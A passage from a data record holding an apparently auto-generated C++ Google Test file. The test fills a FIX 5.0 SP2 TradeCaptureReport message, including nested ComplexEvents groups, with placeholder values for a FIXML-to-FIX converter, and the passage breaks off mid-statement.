44.3963963964, "max_line_length": 176, "alphanum_fraction": 0.7015016234, "num_tokens": 1533, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.2845759920814681, "lm_q1q2_score": 0.1456222604482483}}
{"text": "#include <gtest/gtest.h>\n\n#include \"converter/fixml2fix_converter.hxx\"\n#include \"converter/xml_element_helper.hxx\"\n#include \"converter/fix_helper.hxx\"\n#include \"util/fix_env.hxx\"\n#include \"tools/test_util.hxx\"\n\n#include <boost/log/trivial.hpp>\n\n#include <quickfix/fix50sp2/TradeCaptureReport.h>\n\n#include <list>\n#include <set>\n#include <string>\n#include <utility>\n\nusing namespace std;\nusing namespace fix2xml;\n\nTEST ( TradeCaptureReport, set_fields)\n{\n\n  fixml2fix_converter converter {\"../spec/fix/FIX50SP2.xml\", \"../spec/xsd/fixml-main-5-0-SP2.xsd\"};\n  auto& fixml_dict = converter.fixml_dico();\n  ASSERT_TRUE(converter.init());\n  ASSERT_TRUE(converter.parse_fixt_dico(\"../spec/fix/FIXT11.xml\"));\n  FIX50SP2::TradeCaptureReport msg;\n\n  list<multiset<string>> all_values;\n  multiset<string> all_compo_names;\n  multiset<string> TradeCaptureReport_0;\n  set_field(msg, FIX::AsOfIndicator{'0'}, TradeCaptureReport_0);\n  FIX::AvgPx AvgPx_7;\n  AvgPx_7.setString(\"7952472\");\nset_field(msg, AvgPx_7, TradeCaptureReport_0);\n  set_field(msg, FIX::AvgPxIndicator{2}, TradeCaptureReport_0);\n  FIX::CalculatedCcyLastQty CalculatedCcyLastQty_1;\n  CalculatedCcyLastQty_1.setString(\"9539294\");\nset_field(msg, CalculatedCcyLastQty_1, TradeCaptureReport_0);\n  set_field(msg, FIX::ClearingBusinessDate{\"LOCALMKTDATE_1007955780\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::CopyMsgIndicator{true}, TradeCaptureReport_0);\n  set_field(msg, FIX::Currency{\"JPY\"}, TradeCaptureReport_0);\n  FIX::CurrencyRatio CurrencyRatio_0;\n  CurrencyRatio_0.setString(\"10434344\");\nset_field(msg, CurrencyRatio_0, TradeCaptureReport_0);\n  FIX::DividendYield DividendYield_1;\n  DividendYield_1.setString(\"94.270000\");\nset_field(msg, DividendYield_1, TradeCaptureReport_0);\n  set_field(msg, FIX::ExecID{\"STRING_1044374960\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::ExecRestatementReason{1}, TradeCaptureReport_0);\n  set_field(msg, FIX::ExecType{'3'}, TradeCaptureReport_0);\n  FIX::FeeMultiplier FeeMultiplier_0;\n  FeeMultiplier_0.setString(\"1828619\");\nset_field(msg, FeeMultiplier_0, TradeCaptureReport_0);\n  set_field(msg, FIX::FirmTradeID{\"STRING_822186745\"}, TradeCaptureReport_0);\n  FIX::GrossTradeAmt GrossTradeAmt_5;\n  GrossTradeAmt_5.setString(\"985888\");\nset_field(msg, GrossTradeAmt_5, TradeCaptureReport_0);\n  FIX::LastForwardPoints LastForwardPoints_1;\n  LastForwardPoints_1.setString(\"21248262\");\nset_field(msg, LastForwardPoints_1, TradeCaptureReport_0);\n  set_field(msg, FIX::LastMkt{\"EXCHANGE_374992170\"}, TradeCaptureReport_0);\n  FIX::LastParPx LastParPx_9;\n  LastParPx_9.setString(\"15100818\");\nset_field(msg, LastParPx_9, TradeCaptureReport_0);\n  FIX::LastPx LastPx_17;\n  LastPx_17.setString(\"13914077\");\nset_field(msg, LastPx_17, TradeCaptureReport_0);\n  FIX::LastQty LastQty_10;\n  LastQty_10.setString(\"3382181\");\nset_field(msg, LastQty_10, TradeCaptureReport_0);\n  set_field(msg, FIX::LastRptRequested{false}, TradeCaptureReport_0);\n  FIX::LastSpotRate LastSpotRate_1;\n  LastSpotRate_1.setString(\"18991374\");\nset_field(msg, LastSpotRate_1, TradeCaptureReport_0);\n  FIX::LastSwapPoints LastSwapPoints_1;\n  LastSwapPoints_1.setString(\"10210726\");\nset_field(msg, LastSwapPoints_1, TradeCaptureReport_0);\n  set_field(msg, FIX::LastUpdateTime{FIX::UTCTIMESTAMP(3, 58, 57, 9, 6, 2014)}, TradeCaptureReport_0);\n  set_field(msg, FIX::MarketID{\"EXCHANGE_1977227170\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::MarketSegmentID{\"STRING_1293730669\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::MatchStatus{'2'}, TradeCaptureReport_0);\n  set_field(msg, FIX::MatchType{\"STRING_AQ\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::MessageEventSource{\"STRING_154202802\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::MultiLegReportingType{'3'}, TradeCaptureReport_0);\n  set_field(msg, FIX::OrigSecondaryTradeID{\"STRING_1441921821\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::OrigTradeDate{\"LOCALMKTDATE_845059558\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::OrigTradeHandlingInstr{'1'}, TradeCaptureReport_0);\n  set_field(msg, FIX::OrigTradeID{\"STRING_1218717600\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::PreviouslyReported{true}, TradeCaptureReport_0);\n  set_field(msg, FIX::PriceType{17}, TradeCaptureReport_0);\n  set_field(msg, FIX::PublishTrdIndicator{false}, TradeCaptureReport_0);\n  set_field(msg, FIX::QtyType{0}, TradeCaptureReport_0);\n  set_field(msg, FIX::RejectText{\"STRING_1614860968\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::ReportedPxDiff{false}, TradeCaptureReport_0);\n  FIX::RiskFreeRate RiskFreeRate_3;\n  RiskFreeRate_3.setString(\"20496390\");\nset_field(msg, RiskFreeRate_3, TradeCaptureReport_0);\n  FIX::RndPx RndPx_3;\n  RndPx_3.setString(\"19898531\");\nset_field(msg, RndPx_3, TradeCaptureReport_0);\n  set_field(msg, FIX::SecondaryExecID{\"STRING_333344411\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SecondaryFirmTradeID{\"STRING_1293563224\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SecondaryTradeID{\"STRING_180587611\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SecondaryTradeReportID{\"STRING_873686528\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SecondaryTradeReportRefID{\"STRING_1045217026\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SecondaryTrdType{1201660300}, TradeCaptureReport_0);\n  set_field(msg, FIX::SettlCurrency{\"USD\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SettlDate{\"LOCALMKTDATE_1087885290\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SettlSessID{\"STRING_RTH\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SettlSessSubID{\"STRING_180708467\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::SettlType{\"STRING_0\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::ShortSaleReason{1}, TradeCaptureReport_0);\n  set_field(msg, FIX::SubscriptionRequestType{'1'}, TradeCaptureReport_0);\n  set_field(msg, FIX::TZTransactTime{\"TZTIMESTAMP_732615713\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TierCode{\"STRING_1517442282\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TotNumTradeReports{794124922}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeDate{\"LOCALMKTDATE_886818515\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeHandlingInstr{'4'}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeID{\"STRING_88563095\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeLegRefID{\"STRING_1731878073\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeLinkID{\"STRING_494420291\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradePublishIndicator{2}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeReportID{\"STRING_1473828943\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeReportRefID{\"STRING_1287094514\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeReportTransType{3}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeReportType{15}, TradeCaptureReport_0);\n  set_field(msg, FIX::TradeRequestID{\"STRING_754471835\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TransactTime{FIX::UTCTIMESTAMP(4, 26, 33, 16, 10, 2003)}, TradeCaptureReport_0);\n  set_field(msg, FIX::TransferReason{\"STRING_1492093823\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TrdMatchID{\"STRING_1979089237\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::TrdRptStatus{1}, TradeCaptureReport_0);\n  set_field(msg, FIX::TrdSubType{1}, TradeCaptureReport_0);\n  set_field(msg, FIX::TrdType{47}, TradeCaptureReport_0);\n  set_field(msg, FIX::UnderlyingSettlementDate{\"LOCALMKTDATE_508210543\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::UnderlyingTradingSessionID{\"STRING_159411992\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::UnderlyingTradingSessionSubID{\"STRING_358375923\"}, TradeCaptureReport_0);\n  set_field(msg, FIX::UnsolicitedIndicator{true}, TradeCaptureReport_0);\n  set_field(msg, FIX::VenueType{'P'}, TradeCaptureReport_0);\n  FIX::Volatility Volatility_1;\n  Volatility_1.setString(\"10909916\");\nset_field(msg, Volatility_1, TradeCaptureReport_0);\n  all_values.push_back(TradeCaptureReport_0);\n\n  all_compo_names.insert(\"TradeCaptureReport\");\n\n  // ApplicationSequenceControl\n  multiset<string> ApplicationSequenceControl_19;\n  set_field(msg, FIX::ApplID{\"STRING_1130043061\"}, ApplicationSequenceControl_19);\n  set_field(msg, FIX::ApplLastSeqNum{963988904}, ApplicationSequenceControl_19);\n  set_field(msg, FIX::ApplResendFlag{true}, ApplicationSequenceControl_19);\n  set_field(msg, FIX::ApplSeqNum{1614257141}, ApplicationSequenceControl_19);\n  all_values.push_back(ApplicationSequenceControl_19);\n  all_compo_names.insert(\".\");\n\n  // FinancingDetails\n  multiset<string> FinancingDetails_30;\n  set_field(msg, FIX::AgreementCurrency{\"JPY\"}, FinancingDetails_30);\n  set_field(msg, FIX::AgreementDate{\"LOCALMKTDATE_2108677432\"}, FinancingDetails_30);\n  set_field(msg, FIX::AgreementDesc{\"STRING_212349047\"}, FinancingDetails_30);\n  set_field(msg, FIX::AgreementID{\"STRING_888549873\"}, FinancingDetails_30);\n  set_field(msg, FIX::DeliveryType{2}, FinancingDetails_30);\n  set_field(msg, FIX::EndDate{\"LOCALMKTDATE_244303448\"}, FinancingDetails_30);\n  FIX::MarginRatio MarginRatio_30;\n  MarginRatio_30.setString(\"80.000000\");\nset_field(msg, MarginRatio_30, FinancingDetails_30);\n  set_field(msg, FIX::StartDate{\"LOCALMKTDATE_2002760133\"}, FinancingDetails_30);\n  set_field(msg, FIX::TerminationType{3}, FinancingDetails_30);\n  all_values.push_back(FinancingDetails_30);\n  all_compo_names.insert(\".\");\n\n  // Instrument\n  multiset<string> Instrument_97;\n  FIX::AttachmentPoint AttachmentPoint_97;\n  AttachmentPoint_97.setString(\"52.210000\");\nset_field(msg, AttachmentPoint_97, Instrument_97);\n  set_field(msg, FIX::CFICode{\"STRING_452117811\"}, Instrument_97);\n  set_field(msg, FIX::CPProgram{2}, Instrument_97);\n  set_field(msg, FIX::CPRegType{\"STRING_1887382017\"}, Instrument_97);\n  FIX::CapPrice CapPrice_97;\n  CapPrice_97.setString(\"12295467\");\nset_field(msg, CapPrice_97, Instrument_97);\n  FIX::ContractMultiplier ContractMultiplier_97;\n  ContractMultiplier_97.setString(\"4978132\");\nset_field(msg, ContractMultiplier_97, Instrument_97);\n  set_field(msg, FIX::ContractMultiplierUnit{0}, Instrument_97);\n  set_field(msg, FIX::ContractSettlMonth{\"MONTHYEAR_1061152337\"}, Instrument_97);\n  set_field(msg, FIX::CountryOfIssue{\"COUNTRY_889846962\"}, Instrument_97);\n  set_field(msg, FIX::CouponPaymentDate{\"LOCALMKTDATE_1210695717\"}, Instrument_97);\n  FIX::CouponRate CouponRate_97;\n  CouponRate_97.setString(\"32.170000\");\nset_field(msg, CouponRate_97, Instrument_97);\n  set_field(msg, FIX::CreditRating{\"STRING_1398057505\"}, Instrument_97);\n  set_field(msg, FIX::DatedDate{\"LOCALMKTDATE_1370107710\"}, Instrument_97);\n  FIX::DetachmentPoint DetachmentPoint_97;\n  DetachmentPoint_97.setString(\"54.920000\");\nset_field(msg, DetachmentPoint_97, Instrument_97);\n  set_field(msg, FIX::EncodedIssuer{\"DATA_1010658283\"}, Instrument_97);\n  set_field(msg, FIX::EncodedIssuerLen{1539971692}, Instrument_97);\n  set_field(msg, FIX::EncodedSecurityDesc{\"DATA_1282527129\"}, Instrument_97);\n  set_field(msg, FIX::EncodedSecurityDescLen{2140701344}, Instrument_97);\n  set_field(msg, FIX::ExerciseStyle{1}, Instrument_97);\n  FIX::Factor Factor_97;\n  Factor_97.setString(\"11128536\");\nset_field(msg, Factor_97, Instrument_97);\n  set_field(msg, FIX::FlexProductEligibilityIndicator{false}, Instrument_97);\n  set_field(msg, FIX::FlexibleIndicator{true}, Instrument_97);\n  FIX::FloorPrice FloorPrice_97;\n  FloorPrice_97.setString(\"5275745\");\nset_field(msg, FloorPrice_97, Instrument_97);\n  set_field(msg, FIX::FlowScheduleType{1}, Instrument_97);\n  set_field(msg, FIX::InstrRegistry{\"STRING_1621377996\"}, Instrument_97);\n  set_field(msg, FIX::InstrmtAssignmentMethod{'1'}, Instrument_97);\n  set_field(msg, FIX::InterestAccrualDate{\"LOCALMKTDATE_669473272\"}, Instrument_97);\n  set_field(msg, FIX::IssueDate{\"LOCALMKTDATE_1865681444\"}, Instrument_97);\n  set_field(msg, FIX::Issuer{\"STRING_1555832438\"}, Instrument_97);\n  set_field(msg, FIX::ListMethod{1}, Instrument_97);\n  set_field(msg, FIX::LocaleOfIssue{\"STRING_965201827\"}, Instrument_97);\n  set_field(msg, FIX::MaturityDate{\"LOCALMKTDATE_848854011\"}, Instrument_97);\n  set_field(msg, FIX::MaturityMonthYear{\"MONTHYEAR_976867569\"}, Instrument_97);\n  set_field(msg, FIX::MaturityTime{\"TZTIMEONLY_1400767202\"}, Instrument_97);\n  FIX::MinPriceIncrement MinPriceIncrement_97;\n  MinPriceIncrement_97.setString(\"5887523\");\nset_field(msg, MinPriceIncrement_97, Instrument_97);\n  FIX::MinPriceIncrementAmount MinPriceIncrementAmount_97;\n  MinPriceIncrementAmount_97.setString(\"589306\");\nset_field(msg, MinPriceIncrementAmount_97, Instrument_97);\n  set_field(msg, FIX::NTPositionLimit{1898580451}, Instrument_97);\n  FIX::NotionalPercentageOutstanding NotionalPercentageOutstanding_97;\n  NotionalPercentageOutstanding_97.setString(\"45.730000\");\nset_field(msg, NotionalPercentageOutstanding_97, Instrument_97);\n  set_field(msg, FIX::OptAttribute{'1'}, Instrument_97);\n  FIX::OptPayoutAmount OptPayoutAmount_97;\n  OptPayoutAmount_97.setString(\"6409437\");\nset_field(msg, OptPayoutAmount_97, Instrument_97);\n  set_field(msg, FIX::OptPayoutType{1}, Instrument_97);\n  FIX::OriginalNotionalPercentageOutstanding OriginalNotionalPercentageOutstanding_97;\n  OriginalNotionalPercentageOutstanding_97.setString(\"25.760000\");\nset_field(msg, OriginalNotionalPercentageOutstanding_97, Instrument_97);\n  set_field(msg, FIX::Pool{\"STRING_2039001270\"}, Instrument_97);\n  set_field(msg, FIX::PositionLimit{106580704}, Instrument_97);\n  set_field(msg, FIX::PriceQuoteMethod{\"STRING_STD\"}, Instrument_97);\n  set_field(msg, FIX::PriceUnitOfMeasure{\"STRING_902175905\"}, Instrument_97);\n  FIX::PriceUnitOfMeasureQty PriceUnitOfMeasureQty_97;\n  PriceUnitOfMeasureQty_97.setString(\"16465523\");\nset_field(msg, PriceUnitOfMeasureQty_97, Instrument_97);\n  set_field(msg, FIX::Product{9}, Instrument_97);\n  set_field(msg, FIX::ProductComplex{\"STRING_895393602\"}, Instrument_97);\n  set_field(msg, FIX::PutOrCall{1}, Instrument_97);\n  set_field(msg, FIX::RedemptionDate{\"LOCALMKTDATE_1392675184\"}, Instrument_97);\n  set_field(msg, FIX::RepoCollateralSecurityType{\"STRING_355384791\"}, Instrument_97);\n  FIX::RepurchaseRate RepurchaseRate_97;\n  RepurchaseRate_97.setString(\"46.450000\");\nset_field(msg, RepurchaseRate_97, Instrument_97);\n  set_field(msg, FIX::RepurchaseTerm{1920249748}, Instrument_97);\n  set_field(msg, FIX::RestructuringType{\"STRING_MR\"}, Instrument_97);\n  set_field(msg, FIX::SecurityDesc{\"STRING_738468993\"}, Instrument_97);\n  set_field(msg, FIX::SecurityExchange{\"EXCHANGE_1188890537\"}, Instrument_97);\n  set_field(msg, FIX::SecurityGroup{\"STRING_446043037\"}, Instrument_97);\n  set_field(msg, FIX::SecurityID{\"STRING_456666790\"}, Instrument_97);\n  set_field(msg, FIX::SecurityIDSource{\"STRING_4\"}, Instrument_97);\n  set_field(msg, FIX::SecurityStatus{\"STRING_1\"}, Instrument_97);\n  set_field(msg, FIX::SecuritySubType{\"STRING_1421868617\"}, Instrument_97);\n  set_field(msg, FIX::SecurityType{\"STRING_CTB\"}, Instrument_97);\n  set_field(msg, FIX::Seniority{\"STRING_SD\"}, Instrument_97);\n  set_field(msg, FIX::SettlMethod{'P'}, Instrument_97);\n  set_field(msg, FIX::SettleOnOpenFlag{\"STRING_2034845719\"}, Instrument_97);\n  set_field(msg, FIX::StateOrProvinceOfIssue{\"STRING_2006591033\"}, Instrument_97);\n  set_field(msg, FIX::StrikeCurrency{\"JPY\"}, Instrument_97);\n  FIX::StrikeMultiplier StrikeMultiplier_97;\n  StrikeMultiplier_97.setString(\"9791903\");\nset_field(msg, StrikeMultiplier_97, Instrument_97);\n  FIX::StrikePrice StrikePrice_97;\n  StrikePrice_97.setString(\"10671927\");\nset_field(msg, StrikePrice_97, Instrument_97);\n  set_field(msg, FIX::StrikePriceBoundaryMethod{4}, Instrument_97);\n  FIX::StrikePriceBoundaryPrecision StrikePriceBoundaryPrecision_97;\n  StrikePriceBoundaryPrecision_97.setString(\"29.680000\");\nset_field(msg, StrikePriceBoundaryPrecision_97, Instrument_97);\n  set_field(msg, FIX::StrikePriceDeterminationMethod{2}, Instrument_97);\n  FIX::StrikeValue StrikeValue_97;\n  StrikeValue_97.setString(\"5511603\");\nset_field(msg, StrikeValue_97, Instrument_97);\n  set_field(msg, FIX::Symbol{\"STRING_929727388\"}, Instrument_97);\n  set_field(msg, FIX::SymbolSfx{\"STRING_WI\"}, Instrument_97);\n  set_field(msg, FIX::TimeUnit{\"STRING_D\"}, Instrument_97);\n  set_field(msg, FIX::UnderlyingPriceDeterminationMethod{3}, Instrument_97);\n  set_field(msg, FIX::UnitOfMeasure{\"STRING_Gal\"}, Instrument_97);\n  FIX::UnitOfMeasureQty UnitOfMeasureQty_97;\n  UnitOfMeasureQty_97.setString(\"20532584\");\nset_field(msg, UnitOfMeasureQty_97, Instrument_97);\n  set_field(msg, FIX::ValuationMethod{\"STRING_CDSD\"}, Instrument_97);\n  all_values.push_back(Instrument_97);\n  all_compo_names.insert(\".\");\n\n  // ComplexEvents\n  // Group ComplexEvents.NoComplexEvents\n  {\n    FIX50SP2::TradeCaptureReport::NoComplexEvents noComplexEvents_0_0;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_197;\n    set_field(noComplexEvents_0_0, FIX::ComplexEventCondition{1}, ComplexEvents_NoComplexEvents_197);\n    FIX::ComplexEventPrice ComplexEventPrice_197;\n    ComplexEventPrice_197.setString(\"2275065\");\nset_field(noComplexEvents_0_0, ComplexEventPrice_197, ComplexEvents_NoComplexEvents_197);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceBoundaryMethod{3}, ComplexEvents_NoComplexEvents_197);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_197;\n    ComplexEventPriceBoundaryPrecision_197.setString(\"84.270000\");\nset_field(noComplexEvents_0_0, ComplexEventPriceBoundaryPrecision_197, ComplexEvents_NoComplexEvents_197);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceTimeType{3}, ComplexEvents_NoComplexEvents_197);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventType{4}, ComplexEvents_NoComplexEvents_197);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_197;\n    ComplexOptPayoutAmount_197.setString(\"2180015\");\nset_field(noComplexEvents_0_0, ComplexOptPayoutAmount_197, ComplexEvents_NoComplexEvents_197);\n    all_values.push_back(ComplexEvents_NoComplexEvents_197);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates noComplexEventDates_0_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_401;\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(10, 50, 44, 10, 2, 2011)}, ComplexEventDates_NoComplexEventDates_401);\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(21, 13, 4, 11, 2, 2015)}, ComplexEventDates_NoComplexEventDates_401);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_401);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_806;\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(20, 50, 32)}, ComplexEventTimes_NoComplexEventTimes_806);\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(2, 27, 10)}, ComplexEventTimes_NoComplexEventTimes_806);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_806);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_0.addGroup(noComplexEventTimes_0_0_2_0);\n      }\n      noComplexEvents_0_0.addGroup(noComplexEventDates_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates noComplexEventDates_0_1_1;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_402;\n      set_field(noComplexEventDates_0_1_1, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(5, 19, 44, 1, 3, 2013)}, ComplexEventDates_NoComplexEventDates_402);\n      set_field(noComplexEventDates_0_1_1, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(7, 52, 7, 3, 7, 2006)}, ComplexEventDates_NoComplexEventDates_402);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_402);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_1_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_807;\n        set_field(noComplexEventTimes_0_1_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(21, 6, 2)}, ComplexEventTimes_NoComplexEventTimes_807);\n        set_field(noComplexEventTimes_0_1_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(20, 0, 35)}, ComplexEventTimes_NoComplexEventTimes_807);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_807);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_1.addGroup(noComplexEventTimes_0_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_1_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_808;\n        set_field(noComplexEventTimes_0_1_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(20, 25, 26)}, ComplexEventTimes_NoComplexEventTimes_808);\n        set_field(noComplexEventTimes_0_1_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(19, 45, 36)}, ComplexEventTimes_NoComplexEventTimes_808);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_808);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_1.addGroup(noComplexEventTimes_0_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_1_2_2;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_809;\n        set_field(noComplexEventTimes_0_1_2_2, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(15, 55, 56)}, ComplexEventTimes_NoComplexEventTimes_809);\n        set_field(noComplexEventTimes_0_1_2_2, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(1, 9, 41)}, ComplexEventTimes_NoComplexEventTimes_809);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_809);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_1.addGroup(noComplexEventTimes_0_1_2_2);\n      }\n      noComplexEvents_0_0.addGroup(noComplexEventDates_0_1_1);\n    }\n    msg.addGroup(noComplexEvents_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoComplexEvents noComplexEvents_0_1;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_198;\n    set_field(noComplexEvents_0_1, FIX::ComplexEventCondition{1}, ComplexEvents_NoComplexEvents_198);\n    FIX::ComplexEventPrice ComplexEventPrice_198;\n    ComplexEventPrice_198.setString(\"14080147\");\nset_field(noComplexEvents_0_1, ComplexEventPrice_198, ComplexEvents_NoComplexEvents_198);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventPriceBoundaryMethod{4}, ComplexEvents_NoComplexEvents_198);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_198;\n    ComplexEventPriceBoundaryPrecision_198.setString(\"93.400000\");\nset_field(noComplexEvents_0_1, ComplexEventPriceBoundaryPrecision_198, ComplexEvents_NoComplexEvents_198);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventPriceTimeType{2}, ComplexEvents_NoComplexEvents_198);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventType{5}, ComplexEvents_NoComplexEvents_198);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_198;\n    ComplexOptPayoutAmount_198.setString(\"9289633\");\nset_field(noComplexEvents_0_1, ComplexOptPayoutAmount_198, ComplexEvents_NoComplexEvents_198);\n    all_values.push_back(ComplexEvents_NoComplexEvents_198);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates noComplexEventDates_1_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_403;\n      set_field(noComplexEventDates_1_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(3, 44, 2, 23, 9, 2007)}, ComplexEventDates_NoComplexEventDates_403);\n      set_field(noComplexEventDates_1_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(9, 54, 28, 19, 6, 2007)}, ComplexEventDates_NoComplexEventDates_403);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_403);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_810;\n        set_field(noComplexEventTimes_1_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(8, 22, 49)}, ComplexEventTimes_NoComplexEventTimes_810);\n        set_field(noComplexEventTimes_1_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(16, 51, 38)}, ComplexEventTimes_NoComplexEventTimes_810);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_810);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_0.addGroup(noComplexEventTimes_1_0_2_0);\n      }\n      noComplexEvents_0_1.addGroup(noComplexEventDates_1_1_0);\n    }\n    msg.addGroup(noComplexEvents_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoComplexEvents noComplexEvents_0_2;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_199;\n    set_field(noComplexEvents_0_2, FIX::ComplexEventCondition{1}, 